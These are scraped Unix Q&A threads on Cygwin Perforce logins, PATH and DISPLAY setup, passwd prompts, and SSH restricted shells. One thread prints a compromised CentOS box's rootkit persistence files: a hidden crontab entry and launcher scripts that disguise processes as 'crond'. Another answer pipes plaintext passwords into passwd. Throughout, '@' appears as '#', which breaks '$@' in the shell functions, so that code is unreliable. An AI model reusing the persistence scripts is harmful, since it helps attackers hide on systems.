I am using cygwin on Windows and am setting up the perforce environment.
For environment variables, I set up P4USER/P4PORT/P4CONFIG.
The weird thing is that when I use p4 login, the password I typed in was not masked. I am using exactly the same setting on a linux machine and that does not give me any problem.
I realize that I'm a bit late with this contribution, but this is the solution that I eventually figured out and appended to my .bash_profile in cygwin. I'm posting it to save myself (and hopefully others) time in the future.
p4 ()
{
_P4=`which p4`;
if [ $1 = "login" ]; then stty -echo; fi;
PWD=$(cygpath -wa .) "${_P4}" "$#";
if [ $1 = "login" ]; then stty echo; fi;
}
This is an indirect answer, but here it is FWIW. You could use a Windows command shell to get a Perforce ticket corresponding to your password:
$ p4 login -p
Enter password: <type it in>
5D20E4A2F5B328EFC4908C5F9C8AC834
You can use the encrypted value returned by the command in lieu of your password, when using Cygwin. Tickets do expire, however, so you might have to do this every so often.
Related
I am trying to figure out if my /var/spool/crontab/root is getting overwritten by a virus or malicious code:
I woke up this morning and my /var/spool/crontab/root file was empty, except for this line, which was not written by me:
* * * * * /usr/home/.bash_history/update > /dev/null 2>&1
I looked for this update file that is set to run, and this is what it contains:
#!/bin/sh
if test -r /usr/home/.bash_history/pid; then
Pid=$(cat /usr/home/.bash_history/pid)
if $(kill -CHLD $Pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /usr/home/.bash_history
./run &>/dev/null
That update file calls a file named run, which contains:
#!/bin/bash
ARCH=`uname -m`
HIDE="crond"
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./run32
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./run64
fi
Here are the full contents of that /usr/home directory, which I do not recognize:
I am running centos6.8
I think you've been hacked, possibly by someone using a downloadable rootkit. They're available to any moron with a modem, many of whom won't even know what to do with the system once they've successfully hacked in.
The safest thing you can do is re-install the OS from scratch, and this time employ much stronger passwords. (Sorry, "pa$$w0rd" don't cut it.) You might try just changing passwords and scouring the system for anything suspicious, but there's a good chance something was changed that you'll never recognize.
I had a system hacked once where they replaced the "ls", "ps", and who knows what other commands with substitutes that skipped over their meddling, making it much more difficult to be 100% certain we'd found and fixed all their changes.
After your re-install, look up how to convert the shadow hashing to use SHA512. The default hashing algorithm is stored in /etc/login.defs, and is probably MD5, not nearly strong enough these days. But even with a stronger hash, many weak passwords fall quickly to a brute force attack.
While you're at it, you might as well get CentOS 6.9 which will include more security patches.
I'm familiar with methods that rely on .bashrc across both platforms, but then there's always folks that have ZSH (.zshrc), and I'm wondering what the best way to check / identify the place to update a PATH variable permanently is across OSX and Linux, specifically from a Bash script, for at least these two types of terminals. Not sure if I need to do some sort of nested IF THENS, or if something is out there that is kind of elegant. Thanks.
There's a system wide profile at /etc/profile that you can use to set variables. Of course, you need root permission to do it.
This will work for bash users and zshell users, with the example in this case of adding miniconda, but you can change the value for DIRECTORY_TO_APPEND_TO_PATH pretty easily...
update_script_startup_file() {
DIRECTORY_TO_APPEND_TO_PATH="\$HOME/miniconda/bin"
echo "if [[ \":\$PATH:\" != *\":$DIRECTORY_TO_APPEND_TO_PATH:\"* ]]; then" >> $STARTUP_FILE
echo " export PATH=\"\$PATH:$DIRECTORY_TO_APPEND_TO_PATH\"" >> $STARTUP_FILE
echo "fi" >> $STARTUP_FILE
}
if [ -n "`$SHELL -c 'echo $BASH_VERSION'`" ]; then
STARTUP_FILE="$HOME/.bashrc"
update_script_startup_file
elif [ -n "`$SHELL -c 'echo $ZSH_VERSION'`" ]; then
STARTUP_FILE="$HOME/.zshrc"
update_script_startup_file
else
echo "Couldn't automatically add Miniconda to the PATH of your preferred terminal. We suggest working from Bash or ZShell."
fi
If anyone wants to edit this to add support for other shells, they're most welcome to!
I have this script in which a user can change its password using passwd transparently. The script itself is executed by root, launching it with
su - <user> -c "script"
I know it might not be very safe a way to launch the script but that is how it is and I have no lattitude to change that part.
My problem is that when called, passwd displays the following:
Changing password for user <user>.
Changing password for <user>
current (UNIX) password:
New UNIX password:
Retype new UNIX password:
Several things to note here:
Why does it even begin with two lines ? It seems the first is displayed when root calls passwd for and the second when calls passwd on himself. Can it be the start of an explanation ?
I need to filter some words out of those prompts. I thought of using a combination of greps and seds piped one after the other but here is the trick: the two first lines seem to be outputed to stdout, but the others to stderr. When I try to redirect stderr to stdout to treat it, nothing gets displayed anymore.
Has anyone got any answer or tips regarding this situation ? Thanks a lot.
(First question here so do not hesitate to ask for more info.)
Try keying:
su - vartaghan -c passwd
onto the command line and then contrast that with keying:
passwd
onto the command line.
The answer is right there. Because you are using su to implement the command it requires the password to be keyed in and then the passwd command becomes active, which requires the password all over again.
Your best option would be to change the way that the menu which runs for your users, starts this password changing shell, by simply issuing the passwd command.
Edit:
If you want to get rid of the I/O use something like:
(echo $1; echo $2; echo $2) | passwd &>/dev/null
Which requires that you run the script as myscript oldpassword newpassword
I see that $DISPLAY is set to localhost:0.0 if I am running over a vnc server this may not be correct, is there a way to automatically set it in my login script?
Here's something I've just knocked up. It inspects the environment of the last-launched "gnome-session" process (DISPLAY is set correctly when VNC launches a session/window manager). Replace "gnome-session" with the name of whatever process your VNC server launches on startup.
PID=`pgrep -n -u $USER gnome-session`
if [ -n "$PID" ]; then
export DISPLAY=`awk 'BEGIN{FS="="; RS="\0"} $1=="DISPLAY" {print $2; exit}' /proc/$PID/environ`
echo "DISPLAY set to $DISPLAY"
else
echo "Could not set DISPLAY"
fi
unset PID
You should just be able to drop that in your .bashrc file.
do you use Bash? Go to the file .bashrc in your home directory and set the variable, then export it.
DISPLAY=localhost:0.0 ; export DISPLAY
you can use /etc/bashrc if you want to do it for all the users.
You may also want to look in ~/.bash_profile and /etc/profile
EDIT:
function get_xserver ()
{
case $TERM in
xterm )
XSERVER=$(who am i | awk '{print $NF}' | tr -d ')''(' )
XSERVER=${XSERVER%%:*}
;;
aterm | rxvt)
;;
esac
}
if [ -z ${DISPLAY:=""} ]; then
get_xserver
if [[ -z ${XSERVER} || ${XSERVER} == $(hostname) || \
${XSERVER} == "unix" ]]; then
DISPLAY=":0.0" # Display on local host.
else
DISPLAY=${XSERVER}:0.0 # Display on remote host.
fi
fi
export DISPLAY
I'm guessing here, based on issues I've had in the past which I did solve:
you're connecting to a vnc server on machine B, displaying it using a VNC client on machine A
you're launching a console (xterm or equivalent) on machine B and using that to connect to machine C
you want to launch an X-based application on machine C, having it display to the VNC server on machine B, so you can see it on machine A.
I ended up with two solutions. My original solution was based on using rsh. Since then, most of our servers have had ssh installed, which has made this easier.
Using rsh, I put together a table of machines vs OS vs custom options which would guide this process in perl. Bourne shell wasn't sufficient, and we don't have bash on Sun or HP machines (and didn't have bash on AIX at the time - AIX 5L wasn't out yet). Korn shell wasn't much of an option, either, since most of our Linux boxes don't have pdksh installed. But, if you don't face these limitations, you can implement the idea in ksh or bash, I think.
Anyway, I would basically run 'rsh $machine -l $user "$cmd"' where $machine, of course, was the machine I was logging in to, $user, similarly obvious (though when I was going in as "root" this had some variance as we have multiple roots on some machines for reasons I don't fully understand), and $cmd was basically "DISPLAY=$DISPLAY xterm", though if I were launching konsole, for example, $cmd would be "konsole --display=$DISPLAY". Since $DISPLAY was being evaluated locally (where it's set properly), and not being passed literally across rsh, the display would always be set correctly.
I also had to make sure that no one did anything silly like reset DISPLAY if it was already set.
Now, I just use ssh, make sure that X11Forwarding is set to yes on the server (sshd_config), and then I can just ssh to the machine, let X commands go across the wire encrypted, and it'll always go back to the right place.
Your vncserver have a configuration file somewher that set the display number. To do it automaticaly, one solution is to parse this file, extract the number and set it correctly. A simpler (better) is to have this display number set in a config script and use it in both your VNC server config and in your init scripts.
You'll need to tell your vnc client to export the correct $DISPLAY once you have logged in. How you do that will probably depend on your vnc client.
This is a idea for a security. Our employees shall have access to some commands on a linux server but not all. They shall e.g. have the possibility to access a log file (less logfile) or start different commands (shutdown.sh / run.sh).
Background information:
All employees access the server with the same user name: Our product runs with "normal" user permissions, no "installation" is needed. Just unzip it in your user dir and run it. We manage several servers where our application is "installed". On every machine there is a user johndoe. Our employees sometimes need access to the application on command line to access and check log files or to restart the application by hand. Only some people shall have full command line access.
We are using ppk authentication on the server.
It would be great if employee1 can only access the logfile and employee2 can also do X etc...
Solution:
As a solution I'll use the command option as stated in the accepted answer. I'll make my own little shell script that will be the only file that can be executed for some employees. The script will offer several commands that can be executed, but no others. I'll use the following parameters in authorized_keys from as stated here:
command="/bin/myscript.sh",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty
ssh-dss AAAAB3....o9M9qz4xqGCqGXoJw= user#host
This is enough security for us. Thanks, community!
You can also restrict keys to permissible commands (in the authorized_keys file).
I.e. the user would not log in via ssh and then have a restricted set of commands but rather would only be allowed to execute those commands via ssh (e.g. "ssh somehost bin/showlogfile")
ssh follows the rsh tradition by using the user's shell program from the password file to execute commands.
This means that we can solve this without involving ssh configuration in any way.
If you don't want the user to be able to have shell access, then simply replace that user's shell with a script. If you look in /etc/passwd you will see that there is a field which assigns a shell command interpreter to each user. The script is used as the shell both for their interactive login ssh user#host as well as for commands ssh user#host command arg ....
Here is an example. I created a user foo whose shell is a script. The script prints the message my arguments are: followed by its arguments (each on a separate line and in angle brackets) and terminates. In the log in case, there are no arguments. Here is what happens:
webserver:~# ssh foo#localhost
foo#localhost's password:
Linux webserver [ snip ]
[ snip ]
my arguments are:
Connection to localhost closed.
If the user tries to run a command, it looks like this:
webserver:~# ssh foo#localhost cat /etc/passwd
foo#localhost's password:
my arguments are:
<-c>
<cat /etc/passwd>
Our "shell" receives a -c style invocation, with the entire command as one argument, just the same way that /bin/sh would receive it.
So as you can see, what we can do now is develop the script further so that it recognizes the case when it has been invoked with a -c argument, and then parses the string (say by pattern matching). Those strings which are allowed can be passed to the real shell by recursively invoking /bin/bash -c <string>. The reject case can print an error message and terminate (including the case when -c is missing).
You have to be careful how you write this. I recommend writing only positive matches which allow only very specific things, and disallow everything else.
Note: if you are root, you can still log into this account by overriding the shell in the su command, like this su -s /bin/bash foo. (Substitute shell of choice.) Non-root cannot do this.
Here is an example script: restrict the user into only using ssh for git access to repositories under /git.
#!/bin/sh
if [ $# -ne 2 ] || [ "$1" != "-c" ] ; then
printf "interactive login not permitted\n"
exit 1
fi
set -- $2
if [ $# != 2 ] ; then
printf "wrong number of arguments\n"
exit 1
fi
case "$1" in
( git-upload-pack | git-receive-pack )
;; # continue execution
( * )
printf "command not allowed\n"
exit 1
;;
esac
# Canonicalize the path name: we don't want escape out of
# git via ../ path components.
gitpath=$(readlink -f "$2") # GNU Coreutils specific
case "$gitpath" in
( /git/* )
;; # continue execution
( * )
printf "access denied outside of /git\n"
exit 1
;;
esac
if ! [ -e "$gitpath" ] ; then
printf "that git repo doesn't exist\n"
exit 1
fi
"$1" "$gitpath"
Of course, we are trusting that these Git programs git-upload-pack and git-receive-pack don't have holes or escape hatches that will give users access to the system.
That is inherent in this kind of restriction scheme. The user is authenticated to execute code in a certain security domain, and we are kludging in a restriction to limit that domain to a subdomain. For instance if you allow a user to run the vim command on a specific file to edit it, the user can just get a shell with :!sh[Enter].
What you are looking for is called Restricted Shell. Bash provides such a mode in which users can only execute commands present in their home directories (and they cannot move to other directories), which might be good enough for you.
I've found this thread to be very illustrative, if a bit dated.
Why don't you write your own login-shell? It would be quite simple to use Bash for this, but you can use any language.
Example in Bash
Use your favorite editor to create the file /root/rbash.sh (this can be any name or path, but should be chown root:root and chmod 700):
#!/bin/bash
commands=("man" "pwd" "ls" "whoami")
timestamp(){ date +'%Y-%m-%s %H:%M:%S'; }
log(){ echo -e "$(timestamp)\t$1\t$(whoami)\t$2" > /var/log/rbash.log; }
trycmd()
{
# Provide an option to exit the shell
if [[ "$ln" == "exit" ]] || [[ "$ln" == "q" ]]
then
exit
# You can do exact string matching for some alias:
elif [[ "$ln" == "help" ]]
then
echo "Type exit or q to quit."
echo "Commands you can use:"
echo " help"
echo " echo"
echo "${commands[#]}" | tr ' ' '\n' | awk '{print " " $0}'
# You can use custom regular expression matching:
elif [[ "$ln" =~ ^echo\ .*$ ]]
then
ln="${ln:5}"
echo "$ln" # Beware, these double quotes are important to prevent malicious injection
# For example, optionally you can log this command
log COMMAND "echo $ln"
# Or you could even check an array of commands:
else
ok=false
for cmd in "${commands[#]}"
do
if [[ "$cmd" == "$ln" ]]
then
ok=true
fi
done
if $ok
then
$ln
else
log DENIED "$cmd"
fi
fi
}
# Optionally show a friendly welcome-message with instructions since it is a custom shell
echo "$(timestamp) Welcome, $(whoami). Type 'help' for information."
# Optionally log the login
log LOGIN "$#"
# Optionally log the logout
trap "trap=\"\";log LOGOUT;exit" EXIT
# Optionally check for '-c custom_command' arguments passed directly to shell
# Then you can also use ssh user#host custom_command, which will execute /root/rbash.sh
if [[ "$1" == "-c" ]]
then
shift
trycmd "$#"
else
while echo -n "> " && read ln
do
trycmd "$ln"
done
fi
All you have to do is set this executable as your login shell. For example, edit your /etc/passwd file, and replace your current login shell of that user /bin/bash with /root/rbash.sh.
This is just a simple example, but you can make it as advanced as you want, the idea is there. Be careful to not lock yourself out by changing login shell of your own and only user. And always test weird symbols and commands to see if it is actually secure.
You can test it with: su -s /root/rbash.sh.
Beware, make sure to match the whole command, and be careful with wildcards! Better exclude Bash-symbols such as ;, &, &&, ||, $, and backticks to be sure.
Depending on the freedom you give the user, it won't get much safer than this. I've found that often I only needed to make a user that has access to only a few relevant commands, and in that case this is really the better solution.
However, do you wish to give more freedom, a jail and permissions might be more appropriate. Mistakes are easily made, and only noticed when it's already too late.
You should acquire `rssh', the restricted shell
You can follow the restriction guides mentioned above, they're all rather self-explanatory, and simple to follow. Understand the terms `chroot jail', and how to effectively implement sshd/terminal configurations, and so on.
Being as most of your users access your terminals via sshd, you should also probably look into sshd_conifg, the SSH daemon configuration file, to apply certain restrictions via SSH. Be careful, however. Understand properly what you try to implement, for the ramifications of incorrect configurations are probably rather dire.
GNU Rush may be the most flexible and secure way to accomplish this:
GNU Rush is a Restricted User Shell, designed for sites that provide limited remote access to their resources, such as svn or git repositories, scp, or the like. Using a sophisticated configuration file, GNU Rush gives you complete control over the command lines that users execute, as well as over the usage of system resources, such as virtual memory, CPU time, etc.
You might want to look at setting up a jail.
[Disclosure: I wrote sshdo which is described below]
If you want the login to be interactive then setting up a restricted shell is probably the right answer. But if there is an actual set of commands that you want to allow (and nothing else) and it's ok for these commands to be executed individually via ssh (e.g. ssh user#host cmd arg blah blah), then a generic command whitelisting control for ssh might be what you need. This is useful when the commands are scripted somehow at the client end and doesn't require the user to actually type in the ssh command.
There's a program called sshdo for doing this. It controls which commands may be executed via incoming ssh connections. It's available for download at:
http://raf.org/sshdo/ (read manual pages here)
https://github.com/raforg/sshdo/
It has a training mode to allow all commands that are attempted, and a --learn option to produce the configuration needed to allow learned commands permanently. Then training mode can be turned off and any other commands will not be executed.
It also has an --unlearn option to stop allowing commands that are no longer in use so as to maintain strict least privilege as requirements change over time.
It is very fussy about what it allows. It won't allow a command with any arguments. Only complete shell commands can be allowed.
But it does support simple patterns to represent similar commands that vary only in the digits that appear on the command line (e.g. sequence numbers or date/time stamps).
It's like a firewall or whitelisting control for ssh commands.
And it supports different commands being allowed for different users.
Another way of looking at this is using POSIX ACLs, it needs to be supported by your file system, however you can have fine-grained tuning of all commands in linux the same way you have the same control on Windows (just without the nicer UI). link
Another thing to look into is PolicyKit.
You'll have to do quite a bit of googling to get everything working as this is definitely not a strength of Linux at the moment.